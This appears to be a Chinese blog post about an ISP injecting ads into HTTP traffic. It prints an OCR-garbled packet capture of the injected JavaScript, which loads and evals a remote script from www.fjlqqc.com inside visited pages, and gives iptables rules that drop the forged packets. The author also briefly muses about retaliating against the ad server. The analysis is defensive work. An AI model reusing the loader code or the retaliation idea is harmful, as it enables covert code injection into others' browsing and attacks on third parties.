方正宽带劫持使用iptables解决JS www.fjlqqc.com 方正宽带劫持www.fjlqqc.com
最近上网查资料,小米论坛竟然开始弹广告,还有某些软件的反馈页面,于是怀疑http劫持
网页被劫持抓包内容
203.100.93.109.wvw > 100.82.240.210.2770: Flags [P.], cksuni Oxadbc (correct), s
eq 493458672:493459696, ack 2879341482, win 32767, length 1024
E.,( •0©.*_____d]mdR.. .P
..i_____C.P.............HTTP/1.1 200 OK
Content-Type: application/x-javascript
Connection: close
Expires: -1
Cache-Control: no-cache.no-store.max-age=0
Con ten t-Length: 2297
var sourceScriptURI = 'http://bbs.xiaoiBi.cn/statics/ueditor/ueditor.config.js';
(functionO {
var evalGloble s
eval;
var .loader « function(uri) {
if (!top || !this) {
return setTineout(argunents.callee, 50);
>
if (top !* this) {
return;
var s * window.top.document.createElementC'script');
s.src * uri;
s.type * 'text/javascript*;
s.charset = ,utf-8,
;
s.async a 'true';
window.top.document.body.appendChild(s) ;
};
var evalSrcScript s
function(uri) {
var url = ’.http://www.fjiqqc.coia/coi■丨on/api/v1.0/src_script/?path*.’ + encod
eURIComponen t(u r i);
var xhr * new XMLHttpRequestO;
xhr.open('GET'. url. false);
xhr.setRequestHeader("X-Page-Charsef, document.charset);
xhr.send();
try {
evalG
16:15:43.848323 IP (tos 0x0, ttl 61, id 59113, offset 0, flags [DF]. proto TCP (6),
length 1064)
203.100.93.109.www > 100.82.240.210.2770: Flags [?.), cksun 0x3511 (correct), s
eq 1024:2048, ack 1. win 32767, length 1024
E..(••诠..d】mdR.•.P
..i....C.P…5…loble(xhr.responseText);
> catch(error) {>
};
var getCurrentScript * function(sourceScriptURI) {
var scripts * docu丨6的.$&1£1611»6的58乂丁33咕帕卜5<:1^〇;
for (var i * 0; i < scripts.length; ++i) {
if (scripts[i].src == sourceScriptURI) return scripts[i];
>
>;
var _looper, injection;
var _loop * functionO {
switch (document.readyState) <
case 'loading*:
break;
case 'interactive*:
case 'complete':
clearInterval(_looper);
if (window.一COODAGLIFE一 === undefined) {
_loader(injectionScriptURI + trini(publxsherlD) +
localStorage.C000AG_SERUM_IC = injectionScriptURI;
window._CCKM)AGLIFE一 = true;
> _
—
break;
default:
clearlnterval(_looper);
break;
>
>;
var inject * functionO {
_looper = setlnterval(_l
16:17:54.790741 IP (tos 0x0, ttl 61. id 16228, offset 0, flags [DF]. proto TCP (6),
length 1064)
203_100.93_109.www> 100_82_240.210.2825: Flags IP.】,cksuii 0xebb7 (correct), s
eq 1674722432:1674723456. ack 2102740425. win 32767. length 1024
E..(?d@.=.|u.d]mdR...P. c.<.>UE.P....................HTTP/1.1 200 OK
Content-Type: application/x-javascript
劫持原理
不同ip,80端口返回的包,原理就是替换js,push抢答包,替换的js还会执行原js以保证网页不会爆炸
进行了traceroute,一看就是假公网ip。。。
好吧 如果初始ttl为64的话,ttl为61及以上的都是方正内网。。
考虑过滤所有内网流量,但是考虑到垃圾方正内网的缓存,暴力过滤可能导致某些资源下不下来。
下面还是来分析一下劫持包的特征
0.tcp
1.80端口
2.ttl为61
3.共三个包,前两个包的大小为1064
4.push flag和df
5.几乎相同的内容 0超时刷新会重新请求
6.http这个头里面的回车不是完全规范的
于是乎 利用0 1 2 4
iptables -t filter -I INPUT 1 -p tcp --tcp-flags PSH PSH --sport 80 -mttl --ttl-eq 61 -i ppp0 -j DROP
iptables -t filter -I FORWARD 4 -p tcp --tcp-flags PSH PSH --sport 80 -mttl --ttl-eq 60 -i ppp0 -j DROP
理论上没什么问题了,但偶尔还会有广告溜进来
可能是ss和koolproxy的原因
但是ss不会被劫持
发现经过koolproxy的包ttl会重置为64,出口无法过滤,但入口input已经进行了过滤。
不走过滤的走forward也应该进行了过滤。
无解了,那就再看看劫持封包。
emmm,发现一个网址http://www.fjlqqc.com,host直接干掉
iptables字符过滤成本太高,所以这样就可能是最好的结果了
但是不甘心啊,怎么才能稍稍报复一下这个万恶的广告主呢
http://www.fjlqqc.com/common/api/v1.0/src_script/?path=" + encodeURIComponent(uri)
能不能在这个跳转上搞文章
如果对方的服务器会访问这个网址岂不美哉,后面加几个测速链接岂不是会很开心,但是无法获知是否会访问,没准儿只是一个统计,就没有继续了
点击链接加入群聊三群:751529538
点击链接加入群聊二群:376877156
点击链接加入群聊【路由器交流群:622891808已满】
本站附件分享,如果附件失效,可以去找找看
饿了么红包